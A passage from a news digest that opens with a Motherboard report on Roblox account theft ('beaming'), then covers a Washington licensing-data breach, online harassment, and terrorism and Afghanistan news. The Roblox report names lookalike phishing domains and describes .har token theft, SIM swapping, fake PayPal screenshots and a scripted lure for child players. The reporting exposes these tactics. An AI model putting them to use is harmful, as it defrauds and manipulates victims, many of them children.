Motherboard spoke to 11 people connected to Roblox beaming, including victims, the people who administer the marketplaces where people then sell Roblox items, and hackers themselves. There’s a ballooning and highly profitable ecosystem where hackers stand to steal tens of thousands of dollars worth of items in minutes, with many victims including children. The sketchy, and sometimes illicit, economy sits in the shadow of Roblox’s legitimate business, [which is worth \\$68 billion](#) and which [half of all children in the U.S. play](#) on in some form.

One beamer called Max told Motherboard how he targets many of these victims. “I go to servers with rich idiots, then message every single one of them,” he said.

Roblox isn’t a single game but a free application players download onto their PC, phone, or Xbox games console. From there, they can access tens of millions of different games, or as Roblox calls them, “experiences,” made by members of the wider Roblox community and player base. At the time of this writing, popular Roblox games include Murder Mystery 2, where players try to identify the killer; Pet Simulator X, for players who want to take care of and trade pets; and Hide and Seek Extreme.

Roblox’s popularity has generated a vast and complex economy. Developers of Roblox games can monetize their creations by selling in-experience purchases such as special abilities, or by creating and selling items for players’ Roblox avatars. The developers sell these creations for Robux, [with earnings split](#) between the creator getting 30 percent, the seller getting 40 percent, and Roblox receiving 30 percent. Sometimes the creator and the seller are the same person, meaning they would get 70 percent. Once a developer has at least 50,000 Robux in their account, they can exchange the Robux for real currency using Roblox’s Developer Exchange Program. The exchange rate for legitimately sourced Robux is \$0.0035 cents per 1 Robux. That doesn’t sound like a lot, but [professional developers can rake in over \\$1 million a year](#), with some people starting dedicated gaming studios focused on [making games for Roblox](#). As of June last year, 1.3 million creators were earning Robux, and were on track to earn \$500 million that same year, [according to Roblox’s website](#).

Roblox itself sells rare items known in the community as “limiteds,” which are available in a finite quantity. By playing certain Roblox games, players can also earn game specific rare items, such as “Ancient Weapons” from the Murder Mystery 2 game. Players can then trade limiteds with one another for other items or Robux, [with Roblox displaying an item’s Recent Average Price \(RAP\)](#) in Robux. Depending on how in demand or rare an item is, its value can fluctuate. Crucially, Roblox prohibits people from selling items directly for fiat currency.

Below those Roblox-sanctioned systems sits an off-platform shadow economy of hackers and underground traders, some of whom steal and peddle items for cash and cryptocurrency in violation of Roblox’s terms of service and sometimes the law. This collection of websites, companies, and Discord servers includes online casinos where players can gamble items on a coin flip or on a game of rock, pepper, scissors, and digital marketplaces for selling the limiteds.

Asil, who lost his avatar item with the serial number #918, wasn’t exactly sure how the hacker managed to take over his account. But Motherboard found beamers are using a wide selection of creative and varied ways to break in and steal items from unsuspecting victims. Beamers are constantly registering new phishing domains to use against targets. One beamer who goes by the name Stoevsky recently obtained the domain røblox.com for their own phishing attempts.

“It’s god [sic],” he told Motherboard in an online chat when asked whether it was an effective phishing domain. Phishers appear to have used domains such as [www—roblox.com](#), [site-roblox.com](#), and [www-roblox.com](#), according to chat messages in Discord channels Motherboard accessed.

Beamers use gens, or generators, to quickly and automatically create phishing pages for specific targets, according to the messages. In Motherboard’s own test of using a generator to make a Roblox phishing page, some of these pages look like Roblox user profiles, which beamers then send to targets in the hopes of harvesting their password.

“OP DOMAIN,” one beamer wrote in Discord when sharing a generator for the especially convincing domain [roblox.com.af](#). OP refers to overpowered, a common term in gaming for a weapon or ability that gives users a potentially unfair advantage.

The hackers’ Discord channels often share lists of other servers where unsuspecting users are likely waiting, such as servers dedicated to particular Roblox Twitch streamers, or general servers geared toward people who play Roblox. The hackers then link their phishing page to a Discord server of their choice, which automatically and conveniently informs them when a victim has entered their details.

Hackers can also pick specific targets based on the items they possess. Various websites let users see what items are in players’ inventories. Headr0ws, another victim Motherboard spoke to, said beamers tend to target high-value accounts.

“My roblox account was extremely valuable since it held limited items and a lot of Robux that was earned from developing,” headr0ws said in an online chat.

Headr0ws believes they were compromised [because of SIM swapping](#), where a hacker tricks a victim’s carrier to reroute their text messages or calls to a SIM card that the hacker controls. Armed with this, a hacker can receive multi-factor authentication tokens or change a user’s password, depending on the site targeted. Headr0ws said their phone displayed a ‘no SIM’ message during the attack, a telltale sign of SIM swapping.

Beamers also use various tricks to get a victim to hand over their .har file, a chunk of JSON data that contains a user’s Roblox login token. Web browsers legitimately use these to keep a user logged into their account. Once a hacker has it, though, they can use a Google Chrome extension to load in the token themselves, and then use it to log into the target account and start emptying its item inventory. Before the token itself, Roblox includes this text:

WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.

Multiple Discord channels Motherboard joined even have rooms where beamers casually copy and paste the login tokens from victims they either don’t want or no longer have use for.

Despite that warning from Roblox, the tricks can be too enticing, though. The beamers will say they’re making a game and are looking for paid help; or they’ll offer to make in-game art for the target’s avatar, but they need their “appearance renderer” to do so. The victim then unknowingly hands over their .har file.

Some of these tricks aren’t limited to Discord chats. The beamers also find targets inside the virtual worlds of Roblox games themselves and approach them.

“If it’s a girl, say ‘oh my god, your outfit is so pretty :D’ If it’s a boy, say ‘your avatar is sick’,” one set of instructions Motherboard found reads, referring to how to start a conversation with potential targets during a Roblox game.

In other cases, beamers will find out what PayPal account belongs to the victim, then contact Roblox support and claim the associated Roblox account actually belongs to them by providing a fake screenshot of the associated PayPal account. Some beamers have automated tools for generating these fake

screenshots of PayPal payments they can then send to Roblox support. The tools do quickly and effectively create a convincing PayPal payment confirmation screen, Motherboard found in its own tests.

The beamers try to keep their various methods private, with some only providing them to others in exchange for cash.

“Dont fucking leak it pussy,” one set of instructions on a particular method in a Discord channel reads. [Motherboard previously reported](#) that a scammer bribed a Roblox insider to access a backend, internal Roblox tool and interact with certain player accounts.

Sometimes after beaming a target, hackers will deface the victim’s profile. “beamed by exodus beamed by exodus beamed by exodus,” reads the description on one apparently hacked Roblox user’s profile. Hackers [also upload videos to YouTube](#) of their beaming in action, stealing item after item, in some cases harassing the child victim over Discord, and uploading audio of them crying and with the hackers telling the victim to kill themselves.

“These are satisfying as hell to watch,” one YouTube comment reads on one beaming video.

Rachel Tobac, CEO and co-founder of cybersecurity firm SocialProof Security, told Motherboard in an online chat that “It’s always tough to hear social engineering victim’s stories, but it’s extra sad when that victim is a child.”

“I go to servers with rich idiots then message every single one of them.”

Once a hacker has broken in and stolen the victim’s items by starting a trade with another account the hacker controls, they need somewhere to pawn the items. Some of the beamer Discord servers have channels for trading. But they can also turn to unauthorized third-party marketplaces that allow trades with real money and cryptocurrency, something that Roblox itself does not allow.

“From my experience, yes, the main reason hackers target limited items is to sell them on one of those marketplace websites,” high profile Roblox YouTuber Linkmon99, [who is known as being the “richest” Roblox player in the world](#) for trading limiteds, told Motherboard in an email. One reason for hackers selling the limiteds is that Roblox will typically terminate the hackers’ accounts or try to recover the items, so the hacker is unable to keep the limiteds themselves, Linkmon99 said. Instead, the hackers will try to sell the items as quickly as possible; that is what hackers who previously targeted him and stole limiteds did, Linkmon99 added.

Linkmon99 provided screenshots of what he said were two trades made by hackers when they compromised his account. The screenshots show the theft of items with a total value of 24,355,855 Robux, which converts to just over \$85,000 using Roblox’s exchange rate. Linkmon99 said that the total value of stolen items beyond these two trades was closer to \$500,000. Linkmon99 said Roblox banned accounts that were holding his items.

YR, a co-founder of one of the unauthorized marketplaces called Adurite, told Motherboard in an online chat that “anyone can sell, anyone can buy.” Adurite’s digital product pages look much like any other online marketplace—some items are featured giving them a more prominent spot on the homepage, and each listing includes a price in U.S. dollars and RAP. As part of the legitimate trading system, Roblox itself does calculate and provide the RAP for its users to make a more informed decision on how much to pay for or sell an item for. And Adurite appears to operate at scale: YR claimed that the site has over 25,000 registered sellers.

Plenty of items on Adurite sell for just a few dollars, or \$50, or perhaps a few hundred dollars. Others sell for thousands. YR claimed the biggest sale on Adurite was for a Midnight Blue Sparkle Time Fedora item, which sold for \$13,605 last year. Fedoras, in general, are some of the highest-valued items on Roblox marketplaces, with other fedoras such as the Green Sparkle Time and White Sparkle Time versions being advertised for \$5,063 and \$3,000, respectively. Users can also trade Robux for cash.

YR said they, along with second co-founder PD, created Adurite after chargebacks became a problem on another marketplace called Place. At the time of writing, over 2,300 people were online in the Discord server for Place. Chargebacks are generally where a buyer of an item reverses the transaction with their bank or credit card provider, meaning the seller loses both their item and the cash. Chargebacks are less common on Adurite because it handles some transactions with cryptocurrency, which are non-reversible. The marketplace [recently started accepting PayPal](#), which can be abused, however.

Clearly, if some users are carrying out chargebacks, there are users who lean toward fraud using marketplaces. When Motherboard asked YR if Adurite vendors sold items obtained from beaming, YR said, “As we are a public and easily accessible marketplace to sell on, it's surely possible that these ‘beamers’ attempt to sell items on Adurite as they would try to on any other sort of marketplace.” When asked if Adurite can detect if an item listed for sale was obtained through hacking, YR told Motherboard, “Although we try our best to filter out these items, it's very difficult to detect/filter these items.”

PD, the second co-founder, also owns part of RBX.Flip, the largest Roblox online casino, which has [allegedly handled over \\$100,000,000 worth of items](#); and is involved with Bloxxers, an NFT project that plans to sell NFTs similar in style to Roblox’s distinctive blocky aesthetic. PD told Motherboard in an online chat that “While no longer my main focus time or resource wise, the third-party ecosystem projects were definitely main focus throughout university besides my studies in order to kinda put what I was learning to use.”

When asked how much income they made from these various projects, PD told Motherboard, “Nothing crazy but enough to support my family as I was growing up, pretty similar situation as a lot of other people you'll see in this space. A lot of folks started to just make some extra dough to help around the house at a really young age.”

YR declined to tell Motherboard how much they personally make from Adurite sales.

YR was particularly guarded in his responses to Motherboard. But in [an August interview with Roblox-focused YouTube channel RoZone](#), he was much more blunt.

“There’s no way to detect if it’s poisoned or not, and it’s a 95% chance that it will be poisoned,” he said. Poison is another term for hacked items. YR did not respond to Motherboard when asked to clarify this remark.

“If it's a girl say ‘oh my god, your outfit is so pretty :D’ if it's a boy say ‘your avatar is sick’.”

Roblox for its part has seemingly taken action against the underground marketplaces. Adurite’s Discord server was recently removed. Place temporarily shut down [after allegedly receiving a legal threat](#) from the company. The owner of RBX.Flip, the gambling site, [previously told RoZone](#) that Roblox sent a legal demand to Amazon Web Services and their subsequent host, which both took the site down. RBX.Flip then moved to another “offshore” host “who doesn’t really care” about the DMCA copyright law, they said.

Roblox does offer users the ability to “rollback” an item trade, which can be used if a hacker stole their items. But Roblox only offers one rollback per account, which isn’t helpful to people who had items stolen across multiple trades. Roblox told Motherboard that it has limitations on its restore policies to prevent abuse, but reviews inquiries on a case-by-case basis.

A Roblox spokesperson told Motherboard in an emailed statement that it “aggressively deters moving activity off Roblox because we cannot control activity on other applications, which rarely have comparable safety policies, account restrictions, parental controls, and other protections.”

“Users cannot exchange in-game virtual currency for real-world currency on Roblox outside of our developer exchange program and we specifically ban the use of third-party trading sites. We constantly

monitor our platform to ensure that our users have a safe experience and will take appropriate action to address any issues that could have an impact on safety, and offer one-time recovery of any inventory lost,” the statement added. Roblox also said it offers users two-factor authentication, where players need to input an extra code from a smartphone app or their email to login in the hopes of keeping some hackers, and that if the company detects suspicious activity on a Roblox account, it prompts the user to change their password.

“We’ve spent over a decade building a stringent safety and security system and policies that we are proud of and that we are continuously evolving as our community grows. The Roblox InfoSec team, in particular, actively mines various sources for threat intelligence, monitoring for malicious activity and taking appropriate action,” the spokesperson added.

For Asil, the measures in place were not enough. At the time of writing, he is still locked out of his account, and hasn’t had his Roblox items returned. He’s lost motivation with Roblox in general, he said.

“I lost so much,” he said.

[Return to Top](#)

HEADLINE	02/16 Frustration mounts weeks after DOL hack
SOURCE	https://www.king5.com/article/news/washington-department-of-licensing-hack/281-79a653bd-25b9-4fd8-899c-ec900e1b8d2c
GIST	<p>SILVERDALE, Wash. — Nearly a month after the Department of Licensing announced a breach, exposing the personal information of more than half a million people, many of those impacted are still looking for answers.</p> <p>Iris Miranda moved to Washington to continue her career as a notary public. Now, she worries her career could be over.</p> <p>"This could ruin my reputation, my credit, everything," she said.</p> <p>On Jan. 13 Miranda sent her application for a notary license to the Washington Department of Licensing (DOL). She never heard back.</p> <p>When she went on the department's website, she found a notice stating the system was down. When she contacted the DOL she got no response.</p> <p>"That's when I got worried," she said. "I wondered, did I submit all this information to a fake website?"</p> <p>It turns out Miranda is one of around 650,000 people whose personal information, including social security and driver's license numbers were compromised after the DOL's database was hacked.</p> <p>Without a professional license, Miranda can't work. It has been more than a month, but that isn't her biggest concern.</p> <p>"I can always perform other duties, I can always find another job, but how about my identity?" she asked.</p> <p>The DOL has figured out a way to allow people to renew their licenses offline -- by manually filling out and mailing in a form that can be found on the DOL's website.</p> <p>The department is in the process of approving renewal applications but plan to start processing new license applications by next week, according to DOL spokesperson Nathan Olson.</p> <p>Miranda's hasn't been able to process her new application yet.</p> <p>"It's irresponsible," she said. "I'm surprised because I thought the state of Washington would do better."</p>

	<p>"The frustration level is there for us," said DOL spokesman Nathan Olson.</p> <p>Olson specified the hack only affects professional licenses, not drivers or boating licenses. He also noted the department shut their systems down as soon as they confirmed there had been a hack.</p> <p>"We're looking into why this might've happened and trying to fix what we can to make sure it doesn't happen again," he said.</p> <p>He conceded, however, the department does not know when the system will be operating at full capacity once again.</p> <p>The DOL plans to provide those impacted with a year of free credit monitoring, according to Olson.</p> <p>For now, Miranda wonders about all the others out there who can't get new licenses, like doctors, lawyers, even hairdressers.</p> <p>She continues to wait for answers.</p>
Return to Top	

HEADLINE	02/16 Internet online harassment, real harm
SOURCE	https://abcnews.go.com/Health/wireStory/online-harassment-real-harm-fixing-webs-biggest-bug-82934104
GIST	<p>PROVIDENCE, R.I. -- It should have been a time of celebration: Brittan Heller would soon graduate from college and head to one of the nation's top law programs.</p> <p>But when a classmate with unrequited feelings for Heller wasn't admitted to that same school, he turned his rage on her. He wrote a manifesto titled "A Stupid B---h to Attend Yale Law School" and posted it on a site popular with anonymous trolls. The man urged them to do their worst.</p> <p>Soon strangers were making derogatory, sexualized comments and posting her pictures online. They made threats. Posted her personal information. At one point, FBI agents escorted Heller to class for her protection.</p> <p>"People say, 'Oh, just log off. Don't read it. Turn off the computer,'" said Heller, who turned her personal experience from 15 years ago into a legal specialty as a leading expert on online harassment. "This the 21st century, and people have a right to use the internet for work, for pleasure or to express themselves. Telling people not to read the comments is no longer enough. We don't talk enough about this problem, and we need to."</p> <p>Online harassment has become such a familiar part of the internet that it can be hard to imagine the web without it. From teen cyberbullying to authoritarian governments silencing dissent, online toxicity is a fact of life for everyone, with women, teens and religious and racial minorities the most likely to be targeted.</p> <p>And there is evidence the problem is getting worse.</p> <p>In 2014, 15% of Americans said they had faced severe or significant online abuse, defined as stalking, physical threats, sustained harassment or sexual harassment. In 2021 the number was 25%, according to studies by the Pew Charitable Trusts.</p> <p>Health care workers, journalists, teachers, police and government workers have all reported increases in online harassment in recent years, as the pandemic and political polarization led many people to release their anger and fear online.</p> <p>Nearly three in four female journalists reported receiving threats or other forms of online harassment, according to a survey by UNESCO and the International Center for Journalists that polled more than 700</p>

journalists in more than 100 countries. One in five of those said the harassment escalated to offline abuse or even assault.

The growth of the internet has also expanded the ways that people can be targeted beyond merely email to social media posts, direct messages, texts and streaming video. And with the rise of smartphones and cheap, ubiquitous internet, harassment can now be a 24-7 problem for victims.

“We’ve made so many strides — there’s more awareness now — but it’s easy to get frustrated and to feel like we’ve gotten nowhere,” said Tina Meier, who started a foundation to teach kids and parents about online harassment after her daughter’s suicide in 2006.

Thirteen-year-old Megan Meier had been bullied by someone she met online who she thought was a teenage boy named Josh. The two had flirted until the person suddenly turned against Megan. “Everybody hates you,” “Josh” wrote. “The world would be a better place without you.”

Police later determined that “Josh” was actually an adult woman, the mother of one of Megan’s classmates.

While polls show all types of people are susceptible to online harassment, extensive research has shown that women and people of color are far more likely to be targeted. That’s also true for people with disabilities, people who belong to religious minorities and members of the LGBTQ community.

Women are more likely than men to say online harassment is a serious problem, Pew found. They’re also more likely to report being the victims of online sexual harassment and more serious abuse such as threats of physical harm.

The difference is so great that many men may not understand the severity of the demeaning language, sexualized insults and unwanted attention that women frequently face online. A coordinated harassment campaign against female video game designers that began in 2014, known as Gamergate, became so pervasive — including threats of rape, torture and murder — that some women hired security or went into hiding.

Online harassment has also been used globally to attack journalists, dissidents and others in the public arena.

Political consultant Maria Cardona began receiving nasty emails and direct messages once she began presenting her opinions on national news shows. She’s noticed that many of her critics seem focused on the idea that an outspoken Latina woman could be considered an authority on politics.

One typical message read: “I hope you get raped and have your throat slit.”

“They want to shut us up, they want to scare us, they want to intimidate us,” said Cardona, who now keeps her office locked after someone showed up to accost her in person.

Anonymity can make it easier to be cruel without fear of offline repercussions. It’s a phenomenon called the online disinhibition effect, and it’s one reason why trolls feel comfortable saying things they would never say to someone in person.

As part of a 2009 settlement of Heller’s lawsuit against her harassers, she asked to meet them face to face. One was a 17-year-old boy who had posted that he’d like to gouge Heller’s eyes out and have sex with her corpse.

“They all essentially said the same thing: that they didn’t realize their actions were impacting a person in that way, that they didn’t realize there was a person on the other side of the screen,” Heller recalled. “And they all said, ‘I am so sorry.’”

California enacted the nation's first law against cyberbullying in 1999, and most states have since followed suit. Enforcement can be difficult, however, as the lines between harassment and free speech can be blurry. Police and prosecutors often lack sufficient training or resources.

Tech companies say they are getting better at identifying and stopping harassment. For example, Instagram, which is owned by Facebook parent company Meta, made several changes designed to reduce harassment, including putting warning labels on potentially abusive language and making it easier to block or report harassers.

Yet those moves haven't been enough. Internal Facebook documents leaked by former employee Frances Haugen show that executives are aware of the potential for their products to be used to harass people. One internal study cited 13.5% of teen girls saying Instagram exacerbates suicidal thoughts and 17% saying it worsens eating disorders.

"Online harassment is a problem for everybody, but I think it's especially problematic for kids," said Natalie Bazarova, a professor at Cornell University who studies social media.

She said a multifaceted approach is required to address the problem: legislation to require minimum safeguards from tech companies, technical innovations and extensive educational efforts such as simulations that teach teens to spot cyberbullying and use social media safely.

Technical solutions include automated systems that flag posts for signs of harassing language — all-capital letters, repetitive phrases, certain key words — or instituting a short delay before users can respond to posts, giving them a chance to cool off.

Now in its "awkward adolescence," the internet is not the first invention to change how humans communicate, Heller said.

"People said similar things about the telegraph, the telephone and the television — that they were somehow going to ruin society," she said. "They were all regulated about 25 years into their life cycle. Those regulations didn't kill the telephone, the television or the radio."

[Return to Top](#)

Terror Conditions

[Top of page](#)

HEADLINE	02/16 Spain, Europol: 5 arrests; link to ISIS
SOURCE	https://www.hstoday.us/subject-matter-areas/counterterrorism/five-arrested-in-spain-for-links-to-islamic-state/
GIST	<p>Europol's European Counter Terrorism Centre has supported the Spanish National Police (Policía Nacional) in a major crackdown on jihadists, including those operating online. A total of five suspected members of the so-called Islamic State have been arrested in the past two weeks.</p> <p>These arrests have taken place in the framework of two separate anti-terrorist investigations looking into the activities of Islamist militant cells operating on Spanish soil.</p> <p>The first investigation, known as Operation KITAL, resulted in the arrest of three individuals in the cities of Barcelona, Girona and Valencia for terrorist financing. The main suspect has allegedly used a complex network of companies with international presence to divert funds to a terrorist militant group based in Libya with links to the Islamic State. He is believed to be personally related to the leadership of this militant group.</p> <p>The second investigation, known as Operation FARCOL, resulted in the arrest of two individuals for allegedly recruiting young fighters for the Islamic State in the Spanish city of Melilla. The Spanish</p>

	<p>National Police began the investigation two years ago after discovering indoctrination videos for the Islamic State believed to have been created and distributed by the two suspects.</p> <p>Both investigations were supported by Europol's Counter Terrorism Centre which provided continuous intelligence development and analysis to support the Spanish investigators. Europol experts were also deployed to Spain on the occasion of the two action days to assist the investigators with the cross-checking of operational information gathered during the raids.</p>
Return to Top	

HEADLINE	02/16 Canada 1st convicted terrorist denied parole
SOURCE	https://globalnews.ca/news/8596092/canada-first-convicted-terrorist-too-dangerous-parole/
GIST	<p>The first Canadian convicted under anti-terrorism laws enacted after the 9/11 attacks has lost his bid for release after the Parole Board ruled he wasn't ready to leave prison.</p> <p>The decision followed a hearing at which Mohammad Momin Khawaja struggled to explain how he had reformed since he was arrested when police disrupted a 2004 bomb plot.</p> <p>He also appeared to downplay his actions, claiming he thought at the time that he was supporting a "good cause," and was simply responding to "social injustice" and "suffering."</p> <p>"It is the Board's opinion that you will present an undue risk to society if released, and that your release will not contribute to the protection of society," read the decision released Wednesday.</p> <p>Khawaja, 42, is serving a life sentence for five terrorism offences stemming from his involvement with Al Qaeda supporters who were planning bomb attacks in the United Kingdom.</p> <p>He has been imprisoned for 18 years.</p> <p>At a hearing on Feb. 3, the Correctional Service of Canada said it opposed his application for day parole, saying he "would present an undue risk if released at this time."</p> <p>But Khawaja argued he should be allowed to move into an Ottawa halfway house, and said he wanted to study law and volunteer for humanitarian organizations that help refugees.</p> <p>"I'm interested in helping human beings," he said.</p> <p>He said that while he had "violent distorted ideas" for a period in his early 20s, he had taken "lengthy steps" and would abide by any conditions imposed of him if he was granted day parole.</p> <p>The Parole Board of Canada said he avoided answering direct questions, and had tried to "dispute facts" already determined by the courts.</p> <p>"You utilized your hearing to minimize your involvement in the criminal activity for which you are convicted," the Board wrote in its ruling.</p> <p>"You also focused on the fact that no one was actually harmed as a result of your actions. Further, you maintained that your intention was only to help people."</p> <p>He was also "linked to, and are supportive of a website that characterizes you as a political prisoner who is wrongfully convicted," it said.</p> <p>Khawaja was born in Canada and lived in Libya, Pakistan and Saudi Arabia before returning to Ottawa, where he worked for a company contracted by the Department of Foreign Affairs.</p>

	<p>In 2002, he travelled to Pakistan for weapons training and “provided financial support and technical training, and transported supplies for the group,” according to the Ontario Court of Appeal.</p> <p>He wrote in emails at the time that Osama bin Laden was “the most beloved person to me” and that he wanted to “contribute as best as possible to the destruction of the enemies of Allah.”</p> <p>“Between 2002–2004, you became involved with an extremist Islamist terrorist group, whose objectives were to carry out a plot to set explosions off in London, as well as other British targets in 2004,” the board’s decision read.</p> <p>“Part of a broader Islamic Jihad against the West, you designed a remote arming device for explosives, referred to as ‘hifidigimonster,’ and further agreed to make 30 of these devices.”</p> <p>“You offered to smuggle them into the United Kingdom and train members on their use. You received weapons training, financially supported the group’s activities both directly and indirectly, and provided the group with a residence in Pakistan to support their efforts.”</p>
Return to Top	

HEADLINE	02/17 Pakistan struggles: Afghan border violence
SOURCE	https://www.reuters.com/world/asia-pacific/pakistan-struggles-quell-violence-its-afghan-border-2022-02-17/
GIST	<p>ISLAMABAD, Feb 17 (Reuters) - Pakistan's military has stepped up operations along the Afghan border in recent weeks after a spate of militant attacks that has dashed any hope the frontier might see more peace and stability after the end of the war in Afghanistan.</p> <p>Islamist and separatist factions have killed at least 14 Pakistani soldiers in attacks over the past month, three of them carried out by fighters entering from Afghanistan, the Pakistani military said.</p> <p>Afghanistan's new Taliban rulers, struggling with a humanitarian crisis, have denied that Afghan territory was used in any of the attacks.</p> <p>But despite such assurances, disputes linked to the border, which has been a bone of contention between the neighbours for decades, could undermine their relations.</p> <p>The Pakistani military said six insurgents were killed in the latest clash in the resource-rich southwestern province of Balochistan on Wednesday.</p> <p>"Operations to eliminate such perpetrators of terrorist acts in Pakistan will continue," the military said in a statement.</p> <p>A top Pakistani security official with direct knowledge of border operations told Reuters: "We have stepped up intelligence-based operations to ensure that we deny entry to militants."</p> <p>Large areas on the Pakistani side of the border were out of the control of the government for decades, ruled by fiercely independent Pashtun tribes, whose communities often straddle both sides of the unmarked border.</p> <p>But Pakistan is determined to end all that, aiming to bring the rugged Pashtun lands under central rule and to demarcate the border with a fence, and control who comes and goes with a tight border-control system, another Pakistani official said.</p> <p>"We're targeting anyone, whether separatists or Islamists militants, who is a threat," said the second official, who also declined to be identified.</p> <p>'FRIENDS'</p>

Pakistan has enjoyed good relations with the Afghan Taliban for years even though Pakistan was officially an ally of the United States during its 20-year occupation of Afghanistan.

But as Pakistan grapples with violence by Pakistani Islamists and separatists, its appeals to the Taliban to control their side of the border have not brought the action it hopes to see.

Increasingly frustrated, Pakistani officials have been pressing the Taliban to deny space and resources to the militants, an appeal repeated by National Security Adviser Moeed Yusuf when he visited Kabul last month.

Yusuf's office did not respond to a request for comment.

In Kabul, the Taliban reject suggestions Afghan territory is used for attacks into Pakistan and hope talks can solve the problem.

"We're trying to solve such actions through diplomatic ways," defence ministry spokesman Enayatullah Khwarazmi told Reuters.

The Taliban tried late last year to facilitate talks between Pakistan and an alliance of al-Qaeda linked militants known as the Tehrik-e-Taliban Pakistan (TTP), or Pakistani Taliban. But the talks fell apart after a few weeks.

Despite the frustrations, Pakistani officials rule out the chance of any serious deterioration in relations with the Afghan Taliban.

"We're budding friends," one of the officials said.

The Pakistani military's information office did not respond to a request for comment about the scope of its operations and what the military would do if the attacks from Afghan soil continued.

Another source of friction is Pakistan's determination to finish fencing the 2,600 km (1,615 mile) border that was drawn by British colonial rulers with no consideration for the Pashtun tribes it divided. It has never been recognised by any Afghan government.

Taliban fighters have at times stopped Pakistani forces from putting up the fence, just as forces of the old U.S.-backed Afghan government used to do.

Taliban Defence Minister Mullah Yaqoob says his government had not given anyone permission to fence the border.

"We've not taken any decision about the fencing," he told Afghan state-owned RTA TV last week.

[Return to Top](#)

HEADLINE	02/15 ISIS, AQ building support in Afghanistan
SOURCE	https://www.voanews.com/a/islamic-state-al-qaida-building-support-in-afghanistan-report-says-/6443700.html
GIST	<p>WASHINGTON — Despite lingering concerns among some officials in Washington that Afghanistan is on its way to once again becoming a terrorist haven, recent U.S. defense and intelligence assessments seem to indicate that at least for now, groups like Islamic State and al-Qaida are not ready to use the country as a launch pad for attacks against the West.</p> <p>The appraisal from U.S. Central Command, the Defense Intelligence Agency and others is part of a just-released report by the Defense Department Inspector General examining the potential threats emanating from Afghanistan following the U.S. withdrawal from the country six months ago.</p>

It runs contrary to concerns voiced since October by top Pentagon officials, who warned IS-Khorasan could be ready to strike at the West and at the U.S. in as little as six months, with al-Qaida regenerating the same capacity in as little as a year.

"Both al-Qaida and ISIS-K have the intent to conduct external operations," Colin Kahl, Defense Department undersecretary for policy, told the Senate Armed Services Committee at the time, using an acronym for Islamic State's Afghan affiliate.

The new assessments agree the intent is still there, just that leaders from both terror groups have other priorities.

IS-Khorasan Province, as the IS affiliate is also known, in particular seems more focused on solidifying its support within Afghanistan instead of preparing to strike at enemies further afield.

"The DIA assessed that ISIS-K is prioritizing attacks within Afghanistan over external operations," the report said, noting a series of attacks against Taliban security checkpoints, as well as a deadly attack in November at a military hospital in Kabul that killed at least 25 people and wounded more than 50.

"ISIS-K's targeted attacks on critical infrastructure highlighted the Taliban regime's inability to provide basic security and worked to delegitimize the Taliban with the local population," the report said.

It added that the DIA assessed IS-Khorasan "has probably exploited anti-Taliban sentiment and governance shortfalls to boost its recruitment, especially among marginalized populations."

The report also warned that the group "maintains connections to fighters from countries across Central and South Asia, probably making the group a threat to U.S. interests in those countries."

Intelligence shared by United Nations member states for a report issued earlier this month warned that IS-Khorasan has almost doubled in size since the U.S. withdrawal to nearly 4,000 fighters, and that the group again controls limited territory in the eastern part of the country.

Taliban officials have launched several efforts to crack down on IS-Khorasan, though a number of analysts have noted the various operations have met with limited success.

The same U.N. member states warned that al-Qaida, which has a longer history in Afghanistan, has enjoyed a "significant boost" since the U.S. withdrawal, noting "some of its closest sympathizers within the Taliban now occupy senior positions in the new de facto Afghan administration."

The inspector general report, however, says U.S. agencies believe the Taliban are still keeping al-Qaida officials somewhat isolated.

"The Taliban has not permitted al-Qaida members to play a significant role in its so-called "interim government" and will likely aim to prevent al-Qaida attacks on the United States as it attempts to gain international legitimacy," the report states, citing CENTCOM and the DIA.

But U.S. officials also assess that Taliban leaders are in no rush to sever ties with the terror group, despite their assurances to Washington as part of the Doha Agreement.

"The Taliban very likely will allow al-Qaida elements in Afghanistan to maintain a low profile within the country to preserve legacy relationships and avoid upsetting the most militant Islamic elements within the Taliban," according to the inspector general report.

U.N. officials estimate the al-Qaida core has several dozen officials living in Afghanistan, including the group's leader, Ayman al-Zawahiri.

	Al-Qaida in the Indian Subcontinent, a key affiliate, is thought to have up to 400 fighters in Afghanistan, some embedded with Taliban units.
Return to Top	

HEADLINE	02/16 Afghan refugee humanitarian parole is slow
SOURCE	https://www.nytimes.com/2022/02/16/us/afghan-refugees-humanitarian-parole.html
GIST	<p>LOS ANGELES — As a combat interpreter in Afghanistan, Sharif Azizi helped U.S. Special Forces hunt down Taliban targets, even after suffering leg and chest injuries from stepping on a land mine. When his life was threatened by the insurgents, the United States acknowledged his eight years of service and in 2017 brought him to safety in Los Angeles.</p> <p>Last year, when Taliban fighters seized Kabul, they came looking for his mother and siblings. Unable to make it through the throngs amassed at the airport as the last American flights were leaving, the family fled to Pakistan. U.S. security officials who had helped arrange their exit papers assured the family that it could apply for a program designed to expedite entry into the United States for people facing emergencies. Months after submitting their applications, they received the response from the U.S. government: Denied.</p> <p>“All the certificates of commendation I received, all the promises we got, it feels like a big lie,” said Mr. Azizi, who currently lives in San Jose, Calif. “They just leave my family and basically say, ‘That’s done. We don’t care.’”</p> <p>Thousands of Afghan allies who narrowly missed being evacuated, and who have been living in hiding in Afghanistan or illegally in neighboring countries, have counted on a program known as humanitarian parole to reach the United States. But half a year since the frantic U.S. withdrawal, most remain stranded, either because they have been denied entry or are still awaiting the outcome of their cases.</p> <p>Of the 43,000 humanitarian parole applications the agency has received since July 2021, it has processed fewer than 2,000. About 1,500 had been denied and 170 approved as of Feb. 11.</p> <p>The Department of Homeland Security uses parole authority to allow certain people or groups to legally enter the United States without a visa, which can take months or years to process. It has been utilized in the past to provide safe passage for large numbers of people out of conflict zones where the United States had military involvement, such as Vietnam and Iraq, as well for others in vulnerable situations, including Cubans and Central American minors.</p> <p>After the hurried pullout from Afghanistan, the United States Citizenship and Immigration Services agency received an avalanche of applications from Afghans who had not managed to board an evacuation flight. But only one out of eight whose cases have been adjudicated thus far has won approval, raising questions about how many people will be admitted and whether the program was ever a realistic option.</p> <p>“The primary difference between these people and all the people who the U.S. airlifted is that these people were not able to shove their way through the crowds at the airport,” said Kyra Lilien, director of immigration legal services at Jewish Family & Community Services East Bay, a nonprofit in Concord, Calif., that is resettling Afghan refugees.</p> <p>The agency has collected millions of dollars from applicants who pay a \$575 fee to file, but processing has been sluggish, leading to frustration and worry.</p> <p>“This was supposed to be a flexible mechanism for Afghans who supported the U.S. mission and have provided ample proof of danger to their lives,” said Steve Brozak, 60, a retired lieutenant colonel in the 